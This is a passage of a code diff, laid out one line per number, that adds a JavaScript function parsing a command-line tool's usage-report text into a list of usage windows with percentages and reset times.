|
+
}
|
|
103
|
+
|
|
104
|
+
/**
|
|
105
|
+
* Every window the report named.
|
|
106
|
+
*
|
|
107
|
+
* @returns `[{ kind, model, percent, resetsAt, label }]` — empty when the text
|
|
108
|
+
* was not a usage report, which is the answer for a CLI that has changed its
|
|
109
|
+
* output or refused the command.
|
|
110
|
+
*/
|
|
111
|
+
export function parseUsage(text, now = new Date()) {
|
|
112
|
+
if (!text) {
|
|
113
|
+
return [];
|
|
114
|
+
}
|
|
115
|
+
const windows = [];
|
|
116
|
+
for (const raw of String(text).split('\n')) {
|
|
117
|
+
const line = raw.trim();
|
|
118
|
+
// The colon is what separates the window's name from its numbers, and its
|
|
119
|
+
// absence is what tells a heading from a reading — the report's prose
|
|
120
|
+
// ("What's contributing to your limits usage?") has percentages in it too.
|
|
121
|
+
const at = line.indexOf(':');
|
|
122
|
+
if (at === -1 || !/^current\b/i.test(line)) {
|
|
123
|
+
continue;
|
|
124
|
+
}
|
|
125
|
+
const percent = PERCENT.exec(line.slice(at));
|
|
126
|
+
const which = windowOf(line.slice(0, at));
|
|
127
|
+
if (!percent || !which) {
|
|
128
|
+
continue;
|
|
129
|
+
}
|
|
130
|
+
const value = Number(percent[1]);
|
|
131
|
+
if (!Number.isFinite(value) || value < 0 || value > 100) {
|
|
132
|
+
continue;
|
|
133
|
+
}
|
|
134
|
+
windows.push({
|
|
135
|
+
...which,
|
|
136
|
+
percent: value,
|
|
137
|
+
resetsAt: resetAt(line, now),
|
|
138
|
+
label: line.slice(0, at).trim(),
|
|
139
|
+
});
|
|
140
|
+
}
|
|
141
|
+
return windows;
|
|
142
|
+
}
|